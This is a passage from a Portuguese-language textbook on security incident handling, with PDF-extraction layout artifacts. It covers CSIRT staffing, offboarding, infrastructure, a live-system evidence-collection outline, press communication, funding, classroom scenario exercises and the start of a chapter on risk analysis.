Para pensar O armazenamento de arquivos na “nuvem” pode ser considerado terceirização de recursos?

Contratação sensíveis à instituição são manejadas. Para isso, faz-se necessário que o time de segurança tenha um processo com etapas bem definidas para contratação de novos integrantes. O processo de contratação é uma atividade que envolve outros departamentos da instituição. O departamento de recursos humanos e o departamento jurídico, por exemplo, são setores com os quais o CSIRT vai interagir na maioria das etapas do processo de contratação. Já no processo de seleção, outros departamentos podem ser envolvidos. Evidentemente, cada instituição tem os seus próprios procedimentos internos de seleção que consideram a própria cultura da instituição; no entanto, existem algumas etapas que devem ser consideradas, tal como:

q


A contratação é sempre um processo delicado, sobretudo para um CSIRT onde informações

11 Análise curricular; 25

11 Entrevista pessoal;

q

11 Questões contratuais; 11 Questões éticas. Dependendo da natureza da organização e da natureza das funções a serem desempenhadas, outros cuidados podem ser demandados. Isso inclui a aprovação específica das altas hierarquias da instituição e, até mesmo, a verificação de antecedentes criminais. As etapas do processo de seleção devem ser aptas a identificar os pontos fortes dos candidatos, bem como as limitações do profissional. Com isso, a equipe pode avaliar se as limitações do candidato podem ser endereçadas através de treinamento e, por fim, identificar se o candidato está apto a realizar as funções demandadas. Uma entrevista pessoal com o candidato sempre é recomendada. O ideal é que essa entrevista seja realizada com a presença de membros da equipe do CSIRT. Dessa forma, questões técnicas podem ser esclarecidas e habilidades interpessoais, avaliadas. Na entrevista também devemos deixar claro as responsabilidades e benefícios demandados para a equipe. Dessa forma, ambas as partes podem ajustar as suas expectativas. Algumas questões que merecem ser esclarecidas:

q

11 Atividades a serem desenvolvidas; 11 Plano de carreira; 11 Carga horária; 11 Possibilidade de viagens. Além de questões típicas relativas ao horário de trabalho e atividade a ser desenvolvida, a entrevista de seleção também deve tratar aspectos operacionais, tal como horas extras, trabalho em regime de sobreaviso e necessidade de viagens. Com isso, o candidato e o CSIRT podem avaliar a adequação do perfil em função ao cargo. Após a contratação, entra em ação um conjunto de tarefas que visam integrar o funcionário à equipe e inseri-lo na cultura institucional. Por fim, também é parte do processo de contratação treinar o funcionário com procedimentos internos e rotinas da equipe. Do ponto de vista administrativo, o CSIRT deve manter a equipe motivada e com recursos que permitam a evolução técnica e interpessoal dos integrantes do time. Algumas formas de aprimorar e assegurar a evolução dos integrantes da equipe compreende: 11 Garantir financiamento no plano de trabalho anual para treinamento de todos os


membros da equipe, incluindo equipe técnica e equipe gerencial;

26

11 Ter acesso a livros e artigos relevantes para a área de tratamento de incidentes, permitindo que os membros do time expandam suas habilidades; 11 Assegurar que membros da equipe com pouca experiência sejam acompanhados de perto por membros mais experientes, fazendo com que o esforço de aprendizado seja efetivo; 11 Participar de eventos com outros CSIRTs, pois é uma boa maneira de trocar experiências práticas; 11 Encorajar membros da equipe a realizar cursos (pós-graduação, mestrado ou doutorado) em áreas relativas ao processo de incidentes, tais como criptografia, segurança da informação, Sistemas Operacionais e redes de computadores.

q

Para pensar Você contrataria estagiários ou bolsistas para atuar na resposta a incidentes?

Procedimentos de ingresso e desligamento A formação de um time de resposta a incidentes não é o único desafio associado à resposta a incidentes. Com o passar do tempo, a equipe evolui tecnicamente e novos conhecimentos são incorporados ao CSIRT. Alguns membros do time passam para cargos gerenciais e novos ocupam as lacunas existentes na equipe. Adicionado a isso, é comum que membros da equipe se desliguem ou ainda sejam desligados do CSIRT. Nesse contexto, um CSIRT deve estar preparado para lidar com a rotatividade e com a perda de pessoas-chave na instituição. Uma forma de lidar com a rotatividade da mão de obra é implementar uma política de

q

rotatividade de atividades na própria equipe. Assim, evita-se que uma única pessoa possua todo o conhecimento de uma determinada atividade ou processo. Por exemplo, por um período determinado o funcionário responsável por tratar incidentes de segurança troca de posto com o funcionário responsável pelas ferramentas de monitoração. Desse modo, o conhecimento das atividades do CSIRT passa a ser homogeneizado entre os integrantes da equipe. Devido à natureza sensível das informações que passam por um CSIRT, torna-se necessário que procedimentos especiais sejam adotados no ingresso e no desligamento de um profissional. Tipicamente os novos integrantes assinam contratos de confidencialidade específicos do CSIRT e demais acordos da instituição relativos à propriedade intelectual. Por outro lado, quando um integrante do CSIRT deixa de fazer parte do time, outros procedimentos devem entrar em ação. Um procedimento de desligamento de funcionários de um CSIRT deve especificar tarefas técnicas e administrativas que assegurem a segurança dos sistemas do CSIRTs. Afinal, o ex-funcionário tende a levar consigo todo o conhecimento adquirido durante a sua estada no time, incluindo sistemas utilizados, senhas dos servidores e procedimentos utilizados. Sendo assim, aconselha-se que um roteiro de desligamento de funcionário seja criado. Um bom procedimento de desligamento deve conter uma interação com outros departamentos da instituição, tal como administrador de sistemas e administradores de bases de dados.

11 Credenciais de acesso: 22 Físico (portas, salas e datacenter); 22 Remoto (VPN); 22 Sistemas (contas de usuário em máquinas e servidores). 11 Dados de usuários (incluindo backup); 11 E-mail institucional. O endereço de e-mail institucional, em especial, pode ter procedimentos diferentes para a remoção. Alguns times optam por remover a conta subitamente, mas outros preferem

q Capítulo 2 - Gerenciamento do CSIRT

As tarefas relativas ao desligamento deve considerar as seguintes questões:

27

configurar uma mensagem automática informando o desligamento do funcionário. Tal procedimento pode evitar possíveis ataques de engenharia social:

q

“PAULO DA SILVA não faz mais parte da equjipe do CSIRT. Por favor, direcione os seus e-mails para o e-mail do grupo, csirt@csirt.” Por fim, é essencial que a equipe atente para os processos de ingresso de novos integrantes e procedimentos de saída de um funcionário da equipe. Acabamos de descrever os principais fatores para auxiliar o CSIRT a definir seus procedimentos. Sabe-se, no entanto, que existem muitos outros fatores que não foram abordados. Por exemplo, considere a situação a seguir: Um ex-funcionário conseguiria ter acesso ao sistema de documentação interno (website) do CSIRT acessando a rede de visitantes da instituição? Logo, o procedimento de desligamento de funcionários pode não ser complexo, mas deve prever mecanismos de modo a evitar a situação do exemplo.

Requisitos estruturais Os requisitos estruturais de um CSIRT constituem uma infraestrutura básica necessária

q

para a efetiva condução de um CSIRT. Essa infraestrutura deve considerar os serviços prestados e também o tamanho da comunidade a ser atendida. Alguns elementos estruturais que devem ser considerados: 11 Equipamento; 11 Software; 11 Espaço físico; 11 Legislação específica. Evidentemente, a definição da infraestrutura operacional está sempre limitada pela disponibilidade de orçamento. Nem sempre a estrutura ideal pode ser implementada no início do estabelecimento de um CSIRT. Mesmo assim, é importante definir recursos estruturais mínimos para que o time possa prover os serviços para a sua comunidade. Por exemplo, alguns softwares facilitariam a execução de tarefas relacionadas com análise de dispositivos móveis; no entanto, o custo da licença pode pesar no orçamento inicial do CSIRT. Outra questão fundamental na fase de especificação de recursos para a operação de um CSIRT é ter clara a natureza das atividades prestadas pela instituição. Algumas áreas específicas de atuação exigem normas de infraestrutura a serem seguidas pelo CSIRT. Nesses casos, uma legislação específica deve ser seguida. Isso é muito comum para CSIRTs do setor financeiro. Tais CSIRTs devem seguir uma normalização específica que inclui a utilização de Tratamento de Incidentes de Segurança

softwares específicos e auditoria de processos. De fato, todos os CSIRTs possuem requisitos básicos para operar com segurança. Um dos principais requisitos é em relação à infraestrutura operacional. Recomenda-se que a infraestrutura do CSIRT seja separada fisicamente e logicamente dos demais elementos da instituição. Sabe-se que a equipe de um CSIRT está constantemente lidando com informações sensíveis e atuando com incidentes de segurança que devem ser tratados prontamente. A separação física, por exemplo, aborda questões relativas ao local de trabalho e também ao seu acesso físico. O ideal é que um CSIRT deve possuir uma sala dedicada para sua operação com os devidos controles de acesso. Desse modo, as informações sensíveis evitam ser expostas a pessoas de outros setores da instituição. Nem sempre a separação física pode ser efetivada, mesmo assim, é importante que o CSIRT implemente medidas para evitar o acesso 28

às suas áreas de trabalho, incluindo: filtro de privacidade, utilização de bloqueio de tela, orientação do monitor no sentido contrário a do fluxo de pessoas e de câmeras de vigilância. De forma complementar, é fundamental que o CSIRT implemente também a separação lógica para os seus recursos. Por exemplo, usando um seguimento próprio de rede (sub-rede) e servidores dedicados para as suas atividades. A topologia de rede, em especial, deve considerar questões de redundância e conectividade. Uma queda de energia pode ser tão prejudicial quanto um ataque de negação de serviço. Adicionalmente, a infraestrutura de um CSIRT deve ser resiliente de modo a suportar e

q

conter ataques. Um CSIRT é um potencial alvo de ataques. Logo, é desejável que, se isso vier a ocorrer, não cause qualquer prejuízo nas atividades operacionais normais. Cabe à equipe possuir recursos de segurança para proteger os seus sistemas e monitorar possíveis ações maliciosas destinadas à sua infraestrutura. De forma resumida, os requisitos estruturais devem contemplar:

q

11 Controles apropriados de defesa e controle para sistemas, redes, dispositivos, aplicações, bases de dados e outros; 11 Um conjunto de procedimentos para o tratamento de incidentes e documento distribuído entre a equipe; 11 Tarefas designadas para cada membro da equipe e papéis definidos nos processos de resposta a incidentes.

Procedimentos operacionais Os procedimentos operacionais referem-se a um conjunto de atividades que têm por

q

objetivo guiar a equipe, fazendo com que ações apropriadas para a resolução de um incidente sejam tomadas. Para isso, são especificadas responsabilidades das partes envolvidas e as respectivas ações que devem ser desempenhadas pelos membros do time. Tipicamente, um CSIRT possui um conjunto de procedimentos operacionais para os principais tipos de incidentes tratados pelo time, incluindo: comprometimentos de servidores, infecção por vírus, negação de serviço e notificação de vulnerabilidades. Um bom procedimento descreve em linhas gerais como determinados incidentes devem ser tratados, não se atendo a tecnologia ou ferramentas a serem utilizadas. Dessa maneira, o profissional pode seguir as etapas do procedimento e ter flexibilidade para escolher a tecnologia a ser utilizada. Em boa parte dos casos, os procedimentos operacionais permitem eventuais adaptações nas ações a serem realizadas; no entanto, recomenda-se que adaptações sejam essencial que as ações adicionais sejam documentadas. Peculiaridades da instituição devem ser observadas na composição de procedimentos operacionais, logo o conjunto de rotinas de cada CSIRT tende a ser único. Mesmo assim, existem pontos comuns que devem ser endereçados para o efetivo desenvolvimento de procedimentos operacionais: 11 Descrição sucinta do procedimento; 11 Classificação do incidente; 11 Situações em que o procedimento operacional deve ser aplicado;

q


minimizadas durante o processo. Quando necessário efetuar adaptações no processo, é

11 A quem se destina o procedimento; 29

11 Quais são os recursos críticos;

q

11 Etapas prioritárias; 11 Ações a serem realizadas; 11 Como as informações devem ser documentadas; 11 Quem pode contatar entidades externas; 11 Classificação da informação (pública, privada ou restrita); 11 Como o procedimento deve ser distribuído. A título de ilustração, na sequência é apresentado um fragmento de um procedimento operacional para coletar informações de sistemas comprometidos. Como referência, o procedimento foi implementado tendo como base as proposições descritas pelos autores do livro Malware Forensics: Investigating and Analyzing Malicious Code, da editora Elsevir. Procedimento para coleta de informações em sistemas ativos Em alguns incidentes específicos, é necessário investigar uma máquina comprometida mantendo o sistema em execução. Recomenda-se, nesses casos, coletar evidências de um sistema comprometido começando pelos dados mais voláteis, ou seja, dados que podem ser perdidos mais facilmente. Inicialmente, é importante lembrar que um sistema comprometido não é confiável. Devem-se executar os comandos de investigação a partir de um sistema confiável, tal como um live CD previamente preparado. Após essa observação, as seguintes etapas podem ser utilizadas no procedimento de coleta de informações de sistemas ativos: 1. Documentar data e hora do sistema comprometido e comparar com uma fonte confiável. 2. Obter o conteúdo da memória do sistema utilizado. 3. Obter detalhes do sistema (versão do Sistema Operacional, usuários, nome do computador na rede). 4. Analisar o status do sistema e detalhes do ambiente de execução (modo administrativo, formas de acesso). 5. Identificar usuários logados no sistema. 6. Inspecionar as conexões de rede e portas abertas. 7. Examinar consultas DNS realizadas pela máquina comprometida. 8. Analisar os programas em execução. 9. Correlacionar os programas em execução e as portas abertas. 10. Inspecionar os arquivos abertos.


11. Examinar o histórico dos comandos digitados na linha de comando. 12. Verificar por contas não autorizadas no sistema, grupos e compartilhamento. 13. Determinar tarefas agendadas no sistema. 14. Coletar o conteúdo da área de transferência.

Todo procedimento deve ser previamente testado pela equipe. Os membros da equipe não podem ter dúvidas relativas às etapas a serem desempenhadas, tampouco sobre a maneira com que estas devem ser implementadas. É importante notar que os procedimentos não são imutáveis. Cada incidente tratado utilizando o respectivo procedimento é uma oportunidade para revisar a efetividade do processo. Cabe ao time avaliar as diferentes etapas e identificar a sua eficiência. E, caso seja necessário, seguir a rotina que especifica como os procedimentos devem ser atualizados.

30

l Uma boa forma de testar os procedimentos é revisar o histórico de incidentes da instituição e verificar se as etapas definidas serão efetivas em boa parte dos casos.

Comunicação A comunicação diz respeito a todas as ações onde um CSIRT interage com outras

q

entidades. Isso engloba comunicação efetuada de forma verbal ou escrita. De fato, a comunicação com outras entidades é uma atividade muito frequente nas atividades diárias de um CSIRT. Afinal, sabe-se que o processo de resposta a incidentes é uma tarefa coletiva onde a comunicação com diferentes entidades é demandada para a resolução de incidentes de segurança. A comunicação pode ser efetuada utilizando diferentes meios, tal como: envio de e-mails; telefonemas, entrevistas, palestras e cursos. Sendo assim, cabe ao CSIRT conhecer os fundamentos de uma boa comunicação para aprimorar o fator de sucesso no processo de resposta a incidentes. No contexto de um CSIRT, o primeiro ponto a ser salientado são os diferentes níveis de detalhamento que devem ser utilizados durante uma comunicação. Evidentemente que isso está atrelado ao código de conduta do próprio CSIRT. Mesmo assim, devem ser tomados cuidados especiais ao comunicar-se com as diferentes partes envolvidas no processo de resposta a incidente. Uma das principais dificuldades está em interagir com pessoas com diferentes níveis de conhecimento técnico. Tipicamente, ao notificar um incidente, envia-se uma notificação para o responsável pelo sistema afetado. Muitas vezes, no entanto, o responsável pelo sistema não possui conhecimentos técnicos para auxiliar na resolução do problema. Em outros casos, porém, o responsável não pode ser claramente definido. Nesses casos, para que a comunicação do incidente seja efetiva e compreendida, é

q

necessário considerar alguns aspectos básicos, tais como: 11 Contextualização do problema a ser reportado; 11 Ausência de jargões; 11 Uso de sentenças claras; 11 Informações sintetizadas. É importante descrever e sempre contextualizar como comunicação relativa à notificação de segurança. Dessa maneira, o destinatário pode entender ou relembrar o caso a ser tratado. Da mesma forma, é importante lembrar que muitas notificações são enviadas para e-mails institucionais, o que pode resultar em diferentes pessoas tratando, ou continuando, o incidente de segurança.

técnicos, siglas e abreviações podem ter diferentes significados, dependendo do contexto utilizado. Por exemplo, o protocolo Border Gateway Protocol (BGP) é facilmente interpretado por administradores de sistemas; no entanto, em outros contextos, a sigla BGP pode representar “Batalhão da Guarda Presidencial”. Muitas vezes a resolução de um incidente depende da boa vontade de um administrador de rede. Por isso, é fundamental que a comunicação atenha-se a questões fundamentais para a investigação do incidente. Em alguns casos, uma solicitação de ajuda polida e descrita de forma direta é mais efetiva que uma notificação extrajudicial.


Adicionalmente, evitar o uso de jargões e siglas evita possíveis mal-entendidos. Termos

31

Deve-se evitar o uso de frases que possam parecer ofensivas para outros usuários e, até mesmo, observar fatores culturais para evitar um possível insulto para a sua audiência. Por exemplo, notificar a hospedagem de um conteúdo sexual pode gerar possíveis constrangimentos. Por fim, é importante lembrar que a forma com que o CSRIT comunica-se vai definir como este será visto externamente, deixando impressões do trabalho realizado. Polidez e profissionalismo na comunicação são qualidades que devem ser buscadas em todos os processos de resposta a incidentes, sobretudo, na interação com outras entidades.

Como lidar com a imprensa Muitas vezes um CSIRT necessita lidar com a imprensa para a divulgação de procedimentos e esclarecimentos relacionados aos eventos de segurança. A efetiva comunicação com a impressa é mais uma forma de comunicar-se com a comunidade de atuação e, em última análise, pode ser determinante para o estabelecimento de um CSIRT na comunidade. Cada instituição tem sua própria política de relacionamento com a imprensa. Algumas instituições possuem departamentos próprios para atuar com a comunicação externa. Já outras instituições optam por desenvolver políticas e procedimentos internos para lidar com a imprensa. Independentemente do modelo utilizado para o relacionamento com a imprensa, todos os membros da equipe devem saber como posicionar-se frente às mídias públicas. Os membros da equipe devem estar cientes que representam o CSIRT, onde opiniões pessoais podem ser erroneamente interpretadas como posicionamento da equipe. A posição de um CSIRT só pode ser considerada quando é fruto de consenso e compartilhada entre todos os membros da equipe. As seguintes questões devem estar definidas em uma boa política de relacionamento

q

com a imprensa: 11 Quem do CSIRT possui autorização para entrevistas? 11 Qual é o meio pelo qual a comunicação pode ser realizada? 22 Comunicados impressos; 22 Entrevistas gravadas; 22 Entrevistas ao vivo. 11 Que informações o CSIRT pode divulgar?


11 A equipe divulga informações no decorrer de uma investigação?

32

Sabe-se que os CSIRTs são constantemente sondados por jornalistas quando grandes casos ganham a mídia nos grandes jornais, tal como assuntos relacionados a espionagem, ciberguerra, vazamento de informações e vulnerabilidade de sistemas. Em casos onde as informações demandadas pela imprensa estão diretamente relacionadas com incidentes sendo investigados, é necessário que os cuidados na comunicação sejam redobrados. O CSIRT deve atentar para: 11 Não divulgar informações confidenciais; 11 Não divulgar informações sobre investigações em andamento; 11 Não apontar culpados ou responsáveis;

q

11 Não relacionar parceiros, terceiros ou concorrentes sem prévio consentimento;

q

11 Evitar comparações sem embasamento e sem prévio consentimento. Declarações errôneas e más interpretações podem pôr em cheque a segurança da própria instituição e, em últimos casos, afetar a imagem pública de uma instituição. Por exemplo, uma indisponibilidade temporária no servidor causado por um negação de serviços pode ser interpretada como comprometimento da infraestrutura ou, ainda, que usuários do sistema tiveram seus dados expostos. Algumas recomendações que a equipe pode usar para o posicionamento frente

q

à imprensa: 11 Identificar os aspectos-chave da sua comunicação; 11 Antecipar questões difíceis formulando respostas prévias; 11 Utilizar sentenças curtas; 11 Explicar de forma simplificada questões técnicas; 11 Utilizar frases positivas ao invés de negativas; 11 Ser diplomático e sempre falar a verdade; 11 Utilizar vestimenta adequada. Por fim, o entrevistado tem o direito de terminar a entrevista a qualquer momento quando seus direitos não forem respeitados.

Hackers derrubaram por pouco tempo o website da CIA ontem.

O que as pessoas ouvem: Alguém invadiu os computadores da CIA

O que os especialistas em computação ouvem: Alguém derrubou um cartaz pendurado pela CIA

Fatores de sucesso Fatores de sucesso descrevem aspectos que devem ser observados para que um CSIRT tenha os seus objetivos propostos alcançados. Evidentemente não existe um conjunto de regras que determinem o sucesso de um CSIRT. Cabe a cada time constantemente avaliar os seus recursos e especificar métricas de avaliação de desempenho do time como um todo. Sem dúvida, a qualidade dos serviços prestados é determinante para a competência e eficiência da equipe.

q


Figura 2.1 Como cada um entende

33

No entanto, existem outros fatores igualmente importantes para auxiliar na longevidade

q

do CSIRT e no estabelecimento do CSIRT na sua comunidade de atuação, tal como: 11 Contar com o apoio organizacional; 11 Ter papel caracterizado na política de segurança da instituição; 11 Definir a autoridade que possui o CSIRT; 11 Divulgar o CSIRT para seu público-alvo; 11 Obter formas de financiamento adequadas e duradouras. São observados os maiores desafios operacionais nos estágios iniciais da operação. Uma das principais barreiras para o sucesso de um CSIRT é o seu reconhecimento pela sua própria comunidade. Nesse contexto, o apoio organizacional torna-se importante, pois evita que o CSIRT seja visto como mais um departamento na instituição ou, ainda, um departamento com funções sobrepostas aos demais departamentos, tal como o departamento de tecnologia de informação. A aceitação de um time também depende de sua eficiência. É importante que o CSIRT tenha a habilidade de coordenar a resposta a incidentes atuando de forma profissional e com a expertise necessária para a resolução do caso. Com uma atuação transparente, descrevendo as ações tomadas e o status das atividades, o CSIRT tende a fortalecer a confiança dos usuários na equipe. Além do estabelecimento do CSIRT na estrutura organizacional da instituição, é necessário assegurar recursos para manter o time funcionando de forma permanente. Questões como verbas, fundos de financiamento e alocação de recursos são igualmente importantes para o sucesso de um CSIRT. Sendo assim, cabe ao time pleitear junto à sua instituição os recursos financeiros necessários para manter a sua operação. Ao avaliar questões relativas a fontes de financiamento, deve-se considerar:

q

11 Assegurar recursos financeiros de forma regular e permanente; 11 Identificar fontes de financiamento alternativas; 11 Estimar o custo operacional do CSIRT constantemente. Tipicamente, os CSIRTs devidamente inseridos na estrutura organizacional possuem uma verba já alocada para a sua operação, não tendo problemas com a falta de recursos, muito embora isso nem sempre seja uma realidade. A falta de financiamento é um problema encontrado por algumas equipes. Uma organização pode fornecer recursos para o estabelecimento de uma equipe competente, com equipamentos necessários, e o devido treinamento. Entretanto, no primeiro percalço, o financiamento para a


segurança é um dos primeiros a serem cortados.

34

Profissionais de segurança sabem da dificuldade de justificar o financiamento de um CSIRT. A segurança não produz lucros para a instituição em curto prazo, mas sim em médio e longo prazo. O CSIRT atua na prevenção e solução de incidentes de segurança, o que resulta, em última análise, na diminuição de possíveis custos. Sabe-se que o sucesso da equipe pode trabalhar contra a própria equipe. A redução dos incidentes causados pelo bom trabalho do grupo pode passar a sensação de que a equipe é desnecessária. Logo, aconselha-se documentar todas as atividades e elaborar resumos executivos das ações desempenhadas pelos CSIRTs para que estes sejam apresentados aos gestores.

Por outro lado, a falta da observância dos fatores descritos corrobora com o insucesso do CSIRT. A falta de apoio institucional e a inexistência de recursos adequados para manter o time constituem os principais fatores de fracasso de uma equipe. A falta de planejamento e a realização de ações inadequadas tendem a minar a confiança

q

no grupo, causando: 11 Falta de apoio da organização; 11 Ausência de autoridade para iniciar o processo de segurança; 11 Despreparo para responder a eventos. É fundamental que o CSIRT entenda a atividade comercial da instituição e como o time enquadra-se no contexto. Em instituições comerciais, manter o funcionamento de atividades que geram receita financeira tem prioridade. É um fato. Até mesmo em empresas não comerciais, a continuidade dos negócios tem a primazia. Um time de resposta a incidentes deve observar tais premissas e evitar ao máximo que a instituição deixe de realizar sua atividade comercial.

De certa forma, o CSIRT provê apoio para as atividades comerciais da instituição.

Um erro comum cometido pelos CSIRTs é focar a resolução de incidentes apenas em aspectos técnicos, sem avaliar a situação da instituição como um todo. Os membros da equipe devem saber o que é impactado quando um determinado recurso é comprometido. Por exemplo, em um comprometimento de um servidor web, deve-se primeiramente identificar quais atividades são impactadas e, só depois, identificar como o servidor foi comprometido e que técnicas e ferramentas foram utilizadas. Considere a seguinte situação:

q

11 O seu único servidor de e-commerce foi comprometido. Observa-se um padrão atípico na matriz de tráfego do servidor em pleno horário de expediente da empresa.

Para pensar Business comes first (Primeiro os negócios).

Desligar o servidor imediatamente para investigação seria a melhor opção na perspec-

q

talvez não seja a melhor opção. O desligamento do servidor durante o horário de expediente poderia causar perdas maiores para a continuidade das atividades críticas que manter a organização funcionando. Uma solução intermediária poderia ser agendar uma manutenção programada para a investigação do servidor em um horário com menos acessos aos serviços do servidor. A resposta de incidentes pode ser formulada de forma mais efetiva apenas analisando as consequências para a instituição. Por fim, o sucesso de um CSIRT depende da instituição como um todo. Além de realizar um bom trabalho, deve-se atentar para questões políticas e continuidade dos negócios de uma instituição.


tiva de resposta a incidentes; no entanto, no ponto de vista de continuidade de negócios,

35

Leitura recomendada: 11 Creating an Incident Response Team: http://www.educause.edu/ir/library/pdf/SEC0302.pdf 11 NIST SP 800-3: Establishing a Computer Security Incident Response Capability (CSIRC): http://www.terena.nl/activities/tf-csirt/archive/800-3.pdf 11 RFC 2.350: Expectations for Computer Security Incident Response http://www.ietf.org/rfc/rfc2350.txt 11 CERT/CC CSIRT Services: http://www.cert.org/archive/pdf/CSIRT-services-list.pdf 11 Handbook for Computer Security Incident Response Teams (CSIRTs): http://www.sei.cmu.edu/pub/documents/98.reports/pdf/98hb001.pdf 11 RFC2196 – Site Security Handbook: http://www.ietf.org/rfc/rfc2196.txt 11 RFC3013 – Recommended Internet Service Provider Security Services and Procedures: http://www.ietf.org/rfc/rfc3013.txt 11 Site Security Handbook: http://www.ietf.org/rfc/rfc2196.txt 11 Recommended Internet Service Provider Security Services and Procedures:


http://www.ietf.org/rfc/rfc3013.txt

36

Roteiro de Atividades 2 Atividade 2.1 – Entrevista coletiva O website da Presidência da República foi invadido. Na página inicial do site http://presidencia. gov.br, foi possível observar a seguinte mensagem por aproximadamente 1h. “Esse site foi invadido pelo grupo #BASTA DE CORRUPCAO#. O governo não garante segurança dos dados da população!” Faça o papel de um jornalista, elaborando cinco questões para uma entrevista coletiva. 1.

2.

3.

4.

5.

Na sequência, cada CSIRT vai eleger um representante para fazer o papel de representante

Atividade 2.2 – Contratação A sua equipe contrataria um profissional que sabidamente já atuou com atividades criminosas (ex-cracker)?


do governo, o qual responderá os questionamentos das outras equipes.

37

Atividade 2.3 – Desligamento Imagine a seguinte situação: um funcionário da equipe de TI será desligado da sua empresa, pois realizou atos que ferem a política de segurança (sabotagem e acessos indevidos). Quais são os procedimentos que a sua equipe (CSIRT) adotará?

Atividade 2.4 – Entrevista de emprego Elabore três questões que podem ser utilizadas em uma entrevista de emprego para uma das seguintes vagas: 11 Analista de código malicioso; 11 Analista de segurança – tratamento de incidentes. Nesta atividade, a equipe entrevistará um candidato para uma vaga de emprego. O instrutor deste curso responderá os seus questionamentos, passando-se por um candidato interessado. É importante fazer questionamentos que possam levantar experiências e perfil do candidato. a.

b.

c.


Como o seu CSIRT faria para testar as competências que o candidato diz ter no currículo?

38

a.

Atividade 2.5 – Comunicando-se com a imprensa Escrever um comunicado para imprensa referente à seguinte situação: você é o responsável pela área de mídias sociais da Petrobras. A conta oficial de uma rede social (Twitter) foi comprometida e falsas informações foram publicadas: “Novo concurso da PETROBRAS. Edital: http://t.co.ppp/Edital.php” Ao acessar esse link, diversos usuários foram comprometidos por um ataque do tipo driven-by-download. Como a sua equipe lidaria com isso? Escreva um comunicado para a imprensa.

Atividade 2.6 – Avaliação de incidente Utilizando o seu código de conduta, analise como o seu CSIRT trataria o seguinte caso: Um servidor de sua responsabilidade foi comprometido. Analisando as informações contidas no servidor comprometido, encontrou-se um arquivo com informações bancárias de diferentes clientes (cartões de crédito). Como o seu CSIRT atuaria nesse caso? Considere questões como: Lembre-se: cada grupo responderá os questionamentos baseado na área de atuação. Exemplo: CSIRT bancário atuará diferentemente de um CSIRT nacional. a. A sua equipe deveria notificar os responsáveis pelo comprometimento?

b. A sua equipe notificaria os bancos? Qual o nível de detalhe que seria inserida nessa notificação?

d. O uso de um CSIRT “neutro”, como por exemplo o CAIS/RNP ou o CERT.br, poderiam auxiliar no processo de notificar os dados encontrados no seu servidor comprometido?


c. Que implicações para sua empresa essa notificação poderia causar?

39

Atividade 2.7 – Procedimentos a. Como proceder em casos para os quais não exista, no seu CSIRT, alguém qualificado para analisar o incidente? Lembre-se dos modelos de CSIRT: o modelo misto permite a contratação de consultores temporários, mas você pode, ainda, buscar ajuda em outros CSIRTs com os quais possua laços de confiança e em fóruns fechados como o FIRST. Considere, por exemplo, um incidente onde um código malicioso foi encontrando na central telefônica da sua instituição (PABX) cujo malware foi projetado para a arquitetura ARM.

b. Qual é o procedimento para lidar com notificações que o seu CSIRT não considera um incidente se segurança, como por exemplo incidentes fora do escopo de atuação do CSIRT?

Atividade 2.8 – Gerenciamento de CSIRT Por motivos de força maior, o seu CSIRT será extinto. Durante dois anos de atuação, a sua equipe prestou valorosos serviços à comunidade; no entanto, terá de interromper suas atividades de forma definitiva. Considerando esse contexto, responda os questionamentos a seguir: a. Quais são as principais consequências para a sua comunidade?


b. Quem vai assumir as responsabilidades do CSIRT para a comunidade de atuação?

40

3 Riscos e ameaças incidentes de segurança observados pela comunidade de segurança; Ter ciência das etapas para o comprometimento de sistemas; Conhecer os conceitos relacionados com os ataques e ameaças provenientes da internet; Discutir questões relacionadas ao papel dos atacantes no atual cenário da segurança.

conceitos

Análise de risco e custos de um incidente.

Introdução Identificar as ameaças de segurança e seus respectivos riscos associados faz parte das

q

premissas básicas para atuar no processo de resposta de incidentes de segurança. Um CSIRT deve ter conhecimento das principais categorias de incidentes. Dessa forma, pode aprimorar os seus procedimentos de modo a responder eventos de segurança de forma eficiente. Identificar ameaças de segurança e características de ataques permite à equipe deter-

q

minar quais são os incidentes mais danosos à infraestrutura da instituição. E, dessa forma, direcionar melhor os seus recursos de segurança para lidar com os incidentes mais críticos. Isso é fundamental, sobretudo, nas etapas iniciais do processo de resposta a incidentes, onde os incidentes são priorizados e classificados. Sendo assim, identificar previamente os riscos associados a um evento de segurança permite que a equipe atribua as ações específicas de investigação. Este capítulo busca apresentar conceitos básicos relacionados a análise de riscos e também descreve as principais ameaças, ou seja, os tipos de incidentes frequentemente enfrentados por equipes de respostas a incidentes. Por questões de organização, este capítulo está estruturado em duas partes. Inicialmente são apresentados conceitos relacionados à análise de risco e, posteriormente, são descritos os principais riscos associados à segurança de sistemas.

Análise de risco A análise de risco é um tema bastante amplo, onde se busca prover meios para identificar potenciais riscos associados a uma determinada ação a ser realizada. No contexto de resposta a incidentes, a análise de risco tem um papel fundamental na definição de ações a

Capítulo 3 - Riscos e ameaças

objetivos

Ter visão de ameaças e riscos associados aos sistemas; Identificar os principais

serem tomadas frente a um evento de segurança. 41

De certa maneira, um time de resposta de segurança atua diretamente com o gerencia-

q

mento de riscos associados à sua atuação. Em um contexto mais específico, a análise de risco busca estimar os custos associados a cada recurso e os possíveis danos causados aos sistemas computacionais. Em determinada instituição, por exemplo, o vazamento de informação sensível (senhas ou informações financeiras) tem maior risco que a indisponibilidade do sistema de pagamento e-commerce. Portanto, a identificação dos custos associados a cada recurso deve considerar o modelo de negócio da própria instituição. O custo de um recurso tipicamente considera fatores como: o prejuízo financeiro, tempo para o restabelecimento e custo para reparado. Adicionalmente, devem-se avaliar os ativos intangíveis. A tabela 3.1 exemplifica alguns recursos:

Ativos intangíveis: Recursos que não podem ser tocados fisicamente, mas que também possuem valor associado à instituição, tal como a sua reputação.

Recursos tangíveis

Recursos intangíveis

Dados sensíveis

Reputação

Computadores (servidores e desktops)

Integridade de dados

Equipamentos de rede (roteadores e comutadores)

Disponibilidade

Softwares comerciais

Informações de configurações

Arquivos de backup

Senhas pessoais

Tabela 3.1 Exemplo de recursos de uma instituição.

Existem diferentes metodologias para avaliação dos cursos e riscos associados aos recursos de uma instituição. De forma geral, a análise pode ser classifica entre avaliação quantitativa ou qualitativa.

q

A análise de risco quantitativa é representa por números, ou seja, pela quantidade monetária associada a um risco. Geralmente essa informação é expressa em dólares, ou na moeda local, representando as perdas financeiras anuais atreladas a cada risco. Existe uma fórmula que serve para determinar os custos associados a cada análise de risco. Risco = Probabilidade x Custo associado

q

Evidentemente, determinar a probabilidade e o custo associado de cada item envolve procedimentos mais elaborados que fogem do escopo deste curso (avaliação de riscos); no entanto, a tabela a seguir ilustra um exemplo do cálculo de risco de determinados recursos de uma instituição.


Recurso

42

Probabilidade

Custo

Risco

Destruição de uma base de dados de clientes

